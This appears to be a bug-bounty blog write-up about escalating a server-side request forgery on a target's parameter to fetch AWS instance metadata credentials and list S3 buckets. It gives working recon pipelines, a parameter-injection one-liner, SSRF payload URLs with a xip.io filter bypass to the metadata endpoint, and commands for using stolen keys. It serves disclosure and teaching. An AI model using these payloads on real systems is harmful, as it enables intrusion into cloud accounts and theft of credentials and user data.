Escalating SSRF to Accessing all user PII information by aws metadata

Hi, everyone

My name is Santosh Kumar Sha, I’m a security researcher from India(Assam). In this article, I will be describing how I was able to leaked all user PII information by SSRF aws metadata exploitation.

SPECIAL COVID-19 Note:

TOOLS used for the exploitation

1. Subfinder (https://github.com/projectdiscovery/subfinder)

2. httpx (https://github.com/projectdiscovery/httpx)

3. gau(Corben) — https://github.com/lc/gau

4. waybackurls(tomnomnom) — https://github.com/tomnomnom/waybackurls.

Story Behind the bug:

Here it goes:

In-scope : *.example.com

To gather all the urls from internet archives i have used waybackurls tool and gau.

Command used:

waybackurls example.com

So the chance of missing the urls still exist so in-order to be ahead of the game I don’t want to miss any urls for testing so I used subfinder and pipe to waybackurls to get all the urls for all the subdomain if exist and save it to a file.

So the final command will look like this:

waybackurls example.com >> vul2.txt

subfinder -d example.com -silent | waybackurls >> vul3.txt

Now, we have collected all the urls ,so its times to resolve all the urls to filter out the dead urls from the list and filter out all the urls containing parameter for testing for vulnerability. So the command look like this below

cat vul1.txt vuln2.txt vul3.txt | grep “=” | sort -u | grep “?” | httpx -silent >> FUZZvul.txt

After Collecting all the urls containing parameter I starting fuzzing all the urls for finding SSRF but no success as the program is an well know bug-bounty program so I thought that all the other bugbounty hunter have already been tested and harden enough and If i find also the chances of duplicate is more because all others must have done these testing. Now, I was feeling burnout then i went out for some refreshment but still i was thinking about it.Suddenly something hit my mind, why not test for some hidden parameters. So i decided to use my magic trick which I call parameter sparing with some bash tricks to add my burp collaborator payload and proxy all urls to burp proxy to check the urls one by all as there was 200 urls .Here Is the command used for my magic parameter sparing

xargs -a /root/magicparameter/ssrf.txt -I@ bash -c ‘for url in $(cat FUZZvul.txt); do echo “$url&@=http://burpcollabrator.net”;done’ | httpx -http-proxy http://127.0.0.1:8080

Now I finally got an hit on my burp collaborator server with http and dns request with urls as

https://www.example.com/customer/item?custom_name=test123&website_url=http://burpcollabrator.net

So that to fuzzing further to get AWS internal metadata for the vulnerable domain like these:

https://www.example.com/customer/item?custom_name=test123&website_url=http://169.254.169.254/

I tried the above url it gives me 200 OK, but no success as there was some filtering going on behind or waf/firewall was not allowing to get the response for internal data access. But was not ready to leave it because i have spend 2 day on target i was very close to a P1 bug so leaving it was not an option and if i am not fast in bypass it anyone else can find it so time was running fast and have no clue at this moment.

NOW the actual Bypassing and Escalating start:

So the final ssrf vulnerable url it look like this

https://www.example.com/customer/item?custom_name=test123&website_url=http://www.owasp.org.1ynrnhl.xip.io/latest/meta-data/iam/security-credentials/Prod

So Now I decided to Escalating SSRF for maximum impact .

Grabbing the aws metadata by ssrf :

  1. To get [AccessKeyId, SecretAccessKey, Token]

https://www.example.com/customer/item?custom_name=test123&website_url=http://www.owasp.org.1ynrnhl.xip.io/latest/meta-data/iam/security-credentials/Prod

https://www.example.com/customer/item?custom_name=test123&website_url=http://www.owasp.org.1ynrnhl.xip.io/latest/dynamic/instance-identity/document

$ export AWS_ACCESS_KEY_ID="[AccessKeyId]"
$ export AWS_SECRET_ACCESS_KEY="[SecretAccessKey]"
$ export AWS_DEFAULT_REGION="[region]"
$ export AWS_SESSION_TOKEN="[Token]"

Now it’s time to check the identity of the token.

$ aws sts get-caller-identity{
"UserId": "Axxxxxxxxxxxxxxxxx:i-xxxxxxxxxxxxxxxxx",
"Account": "XXxxxxxxxxxx",
"Arn": "arn:aws:sts::19xxxxxxxxxx:XXXX/XXXXXX/i-xxxxxxxxxxxxxxxxx"
}

Now I just run the simple aws command in terminal to get all list of aws instances. Command used was:

aws s3 ls

aws s3 ls s3://prodbackUP_info

I quickly reported the bug and in the next day the report was triage to critical

After seeing this my reaction …

Takeaway

I’m sure that a lot of security researcher had already see there process but this how I approach to bypass the firewall to get AWS metadata accessed through SSRF aws metadata .So never stop when across any filtration or firewall or WAF because there are way to way them and always try to escalate bug to increase the impact for higher bounties.

That’s one of the reasons why I wanted to share my experience. also to highlight other techniques to exploit such vulnerability.

Support me if you like my work! Buy me a coffee and Follow me on Twitter.

Like to hack and break security code and denfense |Security Researcher |pentester | Bugbounty hunter | Pentration tester | CTF player | BUGBOUNTY